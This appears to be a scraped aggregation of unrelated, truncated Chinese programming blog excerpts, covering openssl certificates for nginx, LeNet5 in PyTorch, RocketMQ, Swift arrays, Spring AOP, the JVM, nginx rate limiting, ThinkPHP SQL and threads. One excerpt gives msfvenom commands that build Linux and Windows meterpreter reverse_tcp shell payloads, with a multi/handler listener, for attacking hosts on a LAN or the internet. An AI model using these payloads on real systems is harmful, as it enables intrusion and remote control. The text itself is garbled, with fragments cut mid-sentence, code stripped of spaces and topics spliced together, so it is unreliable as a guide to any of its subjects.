需要输入密码两次 12345678 (随便输)
openssl genrsa -des3 -out server.pass.key 2048
输入上面的密码
openssl rsa -in server.pass.key -out server.key
openssl req -new -key server.key -out server.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=dev/OU=dev/CN=127.0.0.1"
days 后面指定天数
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
openssl x509 -in server.crt -noout -text
server.crt
和 server.key
文件拷贝之 nginx 下创建 ssl 文件中,如下配置重启 nginx 即可–with-http_ssl_module
参数(Linux)server {
listen 443 ssl ;
ssl_certificate "D:/dev/nginx/ssl/server.crt";
ssl_certificate_key "D:/dev/nginx/ssl/server.key";
location / {
}
error_page 404 /404.html;
location = /40x.html {
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
证书申请单位所在地:
在线生成工具 http://myssl.com/csr_create.html
本文来自博客园,作者:天葬,转载请注明原文链接:http://www.cnblogs.com/bxmm/p/17405618.html
LeNet51998年,LeNet5被LeCun等人在论文《Gradient-BasedLearningAppliedtoDocumentRecognition》中正式提出,它被认为是现代卷积神经网络的奠基者。网络结构图: importtorch fromtorchimportnn fromtorch.nnimportfunctionalasF classModel(nn.Module): def__init__(self): super().__init__() self.conv1=nn.Conv2d(1,6,5)#(H+2p-K)/S+1 self.pool1=nn.AvgPool2d(kernel_size=2,stride=2) self.conv2=nn.Conv2d(6,16,5) self.pool2=nn.AvgPool2d(2) self.fc1=nn.Linear(5*5*16,120) self.fc2=nn.Linear(120,84) defforward(self,x): x=torch.tanh(self.conv1(x)) x=self.pool1
上文已经彻底分析了问题的来龙去脉,这次接着分析周边问题。如果你没有看过上文,建议先看,否则不好理解。 6.周边问题解决第二个问题:在消费详情中,为什么Pull消费者在Dashboard中不显示消费者client和queue的关系信息呢?实际下图的空白中,是Pull消费者消费的,却没有consumerClient。第三个问题:在消费者实例列表中,明明Pull和Push消费者的ConsumerType不一样,为什么这里只显示了CONSUME_ACTIVELY(Pull)下面先解释第二个问题。用户看到的消费详情是怎么来的呢?调用代码逻辑是由上至下查看的,依次是rocketmq-dashboard--->rocketmqadmintool--->rocketmqbroker--->rocketmqclient。逻辑我从下上到上解释下,主要分为几步:消费者client启动时,通过立即发送心跳将自身信息上报给broker。broker保存消费者信息。dashboard通过admintool的接口获取消费者信息展示。通过以上简单描述后我们知道:我们看到的信息都是消费者自己上报的结果
大家好,又见面了,我是全栈君。Swift和其他语言也提供了两种类型的集合:数组和字典数组:数组用来按顺序存储同样类型的数据,swift规定它是类型安全的,每个数组都有自己的类型也就是其它语言所说的泛型。创建数组:1、varaa:[String]=[“aa”,”bb”,”cc”]或者varaa=[“aa”,”bb”,”cc”]2、varaa=[String]()//空数组aa.append(“aa”)//向aa数组添加一个成员。aa=[]//清空数组3、vara=[Double](count:5,repeatedValue:0.0)//创建一个5个大小的数组,而且都赋值为0.0,因为swift类型判断的特性。还能够不用指定类型。vara=Array(count:5,repeatedValue:0.0)只是不推荐。4、vara=[Double](count:5,repeatedValue:0.0);varb=[Double](count:5,repeatedValue:5.5);varc=a+b;//将两个数组项合并到一个数组中去,类型会从相加的数组中判断出来。数组的訪问和改动:数组的操作
通常Metasploit最有用(对于初学者来说被低估)的功能之一是msfpayload模块。可以使用此模块创建多个有效负载,它有助于在几乎任何情况下为您提供外壳。对于这些有效负载中的每一个,您都可以进入msfconsole并选择exploit/multi/handler。为使用的相关负载运行“设置负载”并配置所有必要的选项(LHOST、LPORT等)。执行并等待有效负载运行。对于下面的示例,它是不言自明的,但LHOST应填写您的IP地址(如果在网络内进行攻击,则为LANIP,如果通过Internet进行攻击,则为WANIP),并且LPORT应该是您希望重新连接的端口。Linuxmsfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=<您的IP地址>LPORT=<您要连接的端口>-felf>shell.elf复制Windowsmsfvenom-pwindows/meterpreter/reverse_tcpLHOST=<您的IP地址>LPORT=<您要连接的端口>-fexe>shell.
文章目录概述实例概述StaticMethodMatcherPointcutAdvisor代表一个静态方法匹配切面,它通过StaticMethodMatcherPointcut来定义切点,并通过类过滤和方法名来匹配所定义的切点.实例代码已托管到Github—>https://github.com/yangshangwei/SpringMaster我们假设我们业务类中Waiter和Seller中都有同名的greetTo()方法.业务类Waiterpackagecom.xgj.aop.spring.advisor.StaticMethodMatcherPointcutAdvisor; publicclassWaiter{ /** * * *@Title:greetTo * *@Description: * *@paramname * *@return:void */ publicvoidgreetTo(Stringname){ System.out.println("WaiterGreetto"+name); } /** *
tomcat实战1.jvm虚拟机常识两个常识问题作为了解JVM虚拟机的开始。我们很有必要弄明白以下两个问题。1.什么是JAVA虚拟机所谓虚拟机,就是一台虚拟的计算机。他是一款软件,用来执行一系列虚拟计算机指令。大体上,虚拟机可以分为系统虚拟机和程序虚拟机。大名鼎鼎的VisualBox、VMware就属于系统虚拟机。他们完全是对物理计算机的仿真。提供了一个可以运行完整操作系统的软件平台。程序虚拟机的典型代表就是Java虚拟机,它专门为执行单个计算机程序而设计,在Java虚拟机中执行的指令我们称为Java字节码指令。无论是系统虚拟机还是程序虚拟机,在上面运行的软件都限制于虚拟机提供的资源中。复制2.java是如何做到跨平台同一个JAVA程序(JAVA字节码的集合),通过JAVA虚拟机(JVM)运行于各大主流操作系统平台比如Windows、C复制3.常用虚拟机参数JVM虚拟机提供了三种类型参数1.标准参数标准参数中包括功能和输出的参数都是很稳定的,很可能在将来的JVM版本中不会改变。你可以用java命令(或者是用java-help)检索出所有标准参数。复制2.X类型参数非标准化的参数,在将来
视频讲解:https://www.yuque.com/chudi/tzqav9/ny150b#aalY8 importtensorflowastf fromtensorflowimportkeras fromutilsimport* EPOCH=10 BATCH_SIZE=32 VEC_DIM=10 DNN_LAYERS=[64,128,64] DROPOUT_RATE=0.5 base,test=loadData() #所有的特征各个类别值个数之和 FEAT_CATE_NUM=base.shape[1]-1 K=tf.keras.backend defrun(): #将所有的特征的各个类别值统一id化。x中每行为各特征的类别值的id val_x,val_y=getAllData(test) train_x,train_y=getAllData(base) model=keras.models.Sequential() model.add(keras.layers.Embedding(FEAT_CATE_NUM,VEC_DIM,input_length=val_x[0].sh
来源:http://www.51testing.com 最近有空了解了下Nginx的限流策略,查了一些网上的资料,发现很多对参数的描述并不准确,所以自己抽空做了些测试,分享下心得。1、配置限流策略 http{ #Nginx限流。语法:limit_req_zonekeyzonerate #参数说明key:定义需要限流的对象($binary_remote_addr表示基于客户端ip(remote_addr)进行限流,binary_表示压缩内存占用量) #参数说明zone:定义共享内存区来存储访问信息(定义了一个大小为10M的内存区,用于存储IP地址访问信息。) #参数说明rate:用于设置每个IP的最大访问速率(rate=5r/s表示每秒处理5个请求,rate=30r/m表示每分钟处理30个,即每2秒1个。) limit_req_zone$binary_remote_addrzone=myLimitS2:10mrate=2r/s;#内存区名为myLimitS2,每秒处理2个请求 limit_req_zone$binary_remote_addrzone=myLim
本文实例讲述了ThinkPHP3.2.3框架实现执行原生SQL语句的方法。分享给大家供大家参考,具体如下:【查询语句】query方法示例:查询blog_article表中的文章标题title字段//构造sql语句 $sql="select`title`fromblog_article"; //或者下面两种,都会自动读取当前设置的表前缀 //$sql="select`title`from__PREFIX__article"; //$sql="select`title`from__ARTICLE__"; //实例化model对象,执行query方法,得到查询数据结果集 $res=M()-query($sql);复制【添加、修改、删除语句】execute方法示例:修改blog_article表中id为1的文章标题title字段为“PHP是世界上最好的语言”//构造sql语句 $sql="updateblog_articlesettitle='PHP是世界上最好的语言'whereid=1"; /
寻找树最后一项父节点,及id匹配项varobj={name:"a1",type:1,children:[],expend:true} vararr2=[ {name:"a1",type:1,children:[],expend:true}, { name:"a1", type:1, children:[], expend:true } ] vararr=[ {name:"a1",type:1,children:[],expend:true,id:"1"}, { name:"a1", id:"2", type:1, children:[ { id:"2.1", name:"a1", type:1, children:[{name:"a1",type:1,children:[],expend:true,id:"2.1.1"}], expend:true }, { id:&q
大数据文摘专栏作品 作者:ChristopherDossman编译:Junefish、Olivia、云舟呜啦啦啦啦啦啦啦大家好,拖更的AIScholarWeekly栏目又和大家见面啦!AIScholarWeekly是AI领域的学术专栏,致力于为你带来最新潮、最全面、最深度的AI学术概览,一网打尽每周AI学术的前沿资讯。每周更新,做AI科研,每周从这一篇开始就够啦!本周关键词:目光追踪、音频信号分类、GPU本周最佳学术研究大规模目光追踪数据集与鲁棒的3D目光估计如何收集精确且高度变化的目光数据是一项艰巨地任务。在本文中,研究人员提出了一种有助于处理任务并缩小现有性能差距的方法。首先,他们描述了一种在任意环境中有效收集带注释的3D目光数据的方法。然后,他们使用该方法获得了最大的3D目光数据集并命名为Gaze360。该数据集捕获了室内和室外条件下238个对象的视频内容,并仔细评估误差和特征。在确定最终模型之前,研究人利用数据集训练了各种3D目光估计模型,该模型独特地采用了多帧输入,并利用弹球损失进行误差分位数回归分析,以此提供目光不确定性的估计。利用交叉数据集模型性能的比较方法,研究人员对G
0x00前言我们在上篇中介绍了特征选择的分类,并详细介绍了过滤式特征筛选的原理与实现。本篇继续介绍封装式和嵌入式特征筛选的原理与实现。0x01特征选择实现方法三:线性模型与正则化1.主要思想当所有特征在相同尺度上时,最重要的特征应该在模型中具有最高系数,而与输出变量不相关的特征应该具有接近零的系数值。即使使用简单的线性回归模型,当数据不是很嘈杂(或者有大量数据与特征数量相比)并且特征(相对)独立时,这种方法也能很好地工作。2.正则化模型正则化就是把额外的约束或者惩罚项加到已有模型(损失函数)上,以防止过拟合并提高泛化能力。损失函数由原来的E(X,Y)变为E(X,Y)+alpha||w||,w是模型系数组成的向量(有些地方也叫参数parameter,coefficients),||·||一般是L1或者L2范数,alpha是一个可调的参数,控制着正则化的强度。当用在线性模型上时,L1正则化和L2正则化也称为Lasso和Ridge。1)L1正则化/LassoregressionL1正则化将系数w的l1范数作为惩罚项加到损失函数上,由于正则项非零,这就迫使那些弱的特征所对应的系数变成0。因此L
企业中关于区块链的确切角色还在讨论中,但是技术上的兴趣却越高涨——而且是以云为核心。所以,像AWS、微软Azure和谷歌这样领先的公有云供应商推出他们自己的区块链服务,也就不足为奇了。对于企业而言,这些服务可以帮助他们简化应用流程。“如果(企业的)替代方案运行在他们自己的基础架构上,那么从公有云提供商那里使用区块链服务,可以更简单、更具成本效益,”Forrester分析师MarthaBennett说。据Bennett说,微软将是一个特别好的开始。在AzureMarketplace中,该公司拥有合作伙伴沙盒,而且现在Azure也提供了区块链软件的运营。微软的目的还在于开发企业级区块链服务例如,Azure的ProjectBletchley为区块链应用引入了一个的中间件。AWS和谷歌也支持区块链。例如,金融服务行业的IT咨询公司GFTTechnologies,加入了谷歌的合作伙伴计划;谷歌的这一计划目的在于,为银行业在GoogleCloudPlatform上部署其分布式账本“区块链孵化器”测试基础架构。这允许企业模拟现实世界的分布式账本操作。同样,AWS为专注于区块链的公司提供了沙盒功能,如
1读取操作系统和CLR的版本 1 2 3 4 5 6 OperatingSystemos=System.Environment.OSVersion; Console.WriteLine(“Platform:{0}”,os.Platform); Console.WriteLine(“ServicePack:{0}”,os.ServicePack); Console.WriteLine(“Version:{0}”,os.Version); Console.WriteLine(“VersionString:{0}”,os.VersionString); Console.WriteLine(“CLRVersion:{0}”,System.Environment.Version); 在我的Windows7系统中,输出以下信息 1 2 3 4 5 Platform:Win32NT ServicePack: Version:6.1.7600.0 VersionString:MicrosoftWindowsNT6.1.7600.0 CLRVersion
Luogu4512【模板】多项式除法 \(NTT\) \[F(x)=Q(x)\timesG(x)+R(x) \]对于一个\(n\)次多项式\(f(x)=\sum_{i=0}^na_ix^i\),定义\(f^r(x)=\sum_{i=0}^na_{n-i}x^i\)。 \[F(\frac{1}{x})=Q(\frac{1}{x})\timesG(\frac{1}{x})+R(\frac{1}{x})\\ x^nF(\frac{1}{x})=x^n(Q(\frac{1}{x})\timesG(\frac{1}{x})+R(\frac{1}{x}))\\ F^r(x)=Q^r(x)G^r(x)+x^{n-m+1}R^r(x)\\ F^r(x)=Q^r(x)G^r(x)\mod(x^{n-m+1})\\ Q^r(x)=\frac{F^r(x)}{G^r(x)}\mod(x^{n-m+1})\\ R(x)=F(x)-G(x)Q(x) \]\(Code:\) #include<iostream> #include<cstdio> #include<algorithm&
相信很多小伙伴现在处理数据交互的时候都喜欢使用JSON,因为它使用方便易读,结构简单,语言无关。但是在使用JSON数据的过程中难免会遇到这样的问题,那就是我要发送/接受的JSON是否满足相应的格式要求。比如这个JSON数据中某个字段我不希望它是null的,某个字段的类型我希望它是Int而不是String。这个时候我们往往就需要对我们将要发送或是收到的JSON数据进行校验,看看这个JSON数据是不是满足我要求的JSON,如果不满足我就要及时捕获到其中不正确的地方。 今天我们就分享一种非常实用且十分方便进行维护的方法来验证JSON数据是否合规。那就是JSONSchema,其实很多语言都支持的,但是我主要分享的是在JAVA上的使用,如果想了解其他的语言使用的方法,可以直接去官网查看相关的文档,附上地址:http://json-schema.org/implementations.html。 JSONSchema的验证机制很简单,首先你需要维护一份JSON文件,这个文件就是标准的你想要的JSON文件
1.进程与线程的区别 通俗的讲,进行就是任务管理器中进行列表中看到的正在运行的程序,它是一个动态的概念,活动的实体。 线程是程序执行流的最小单元,是线程中一个实体,是系统独立调度和分派CPU基本单位。 线程特点:(1).轻型实体(2).独立调度和分派的基本单位(3).可并发执行(4).共享进程资源。复制 2.进行和线程关系: 线程是进程中的实体,一个进程可以拥有多个线程,一个线程必须有一个父进程。线程不拥有系统资源,只有运行必须的一些数据结构; 它与父进程的其它线程共享该进程所拥有的全部资源。线程可以创建和撤消线程,从而实现程序的并发执行。一般,线程具有就绪、阻塞和运行三种基本状态。复制 3.线程生命状态与周期 4.线程状态 (1).新线程态:New一个线程:NewThread,这时还没有分配系统资源,只能启动或终止。 (2).可运行态(Runnable):就绪运行状态,start()方法产生运行线程所必须的资源,调度线程执行,并调用线程的Run()方法。 (3).阻塞/非运行态(NotRunnable):当调用挂起线程-suspend(),sleep(),wai